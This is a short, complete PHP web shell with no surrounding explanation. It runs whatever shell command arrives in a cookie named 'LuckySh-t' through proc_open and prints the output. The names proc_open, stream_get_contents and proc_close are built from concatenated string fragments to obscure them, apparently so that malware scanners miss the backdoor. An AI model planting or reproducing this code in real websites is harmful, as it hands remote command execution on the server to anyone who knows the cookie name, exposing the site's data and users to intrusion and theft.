<?php
if(isset($_COOKIE['LuckySh-t'])){
   $a = "pro";
   $b = "c_";
   $c = "open";
   $func = $a.$b.$c;

   $descriptorspec = array(
       0 => array('pipe', 'r'),
       1 => array('pipe', 'w'),
       2 => array('pipe', 'w')
   );

   $process = $func($_COOKIE['LuckySh-t'], $descriptorspec, $pipes);

   if (is_resource($process)) {
       fclose($pipes[0]);

       $d = "stream_";
       $e = "get";
       $f = "_contents";
       $data = $d.$e.$f;
       echo $data($pipes[1]);
       fclose($pipes[1]);

       $value1 = "pro";
       $value2 = "c_c";
       $value3 = "lose";
       $valuate = $value1.$value2.$value3;
       $return_value = $valuate($process);

   }
   exit;
}
?>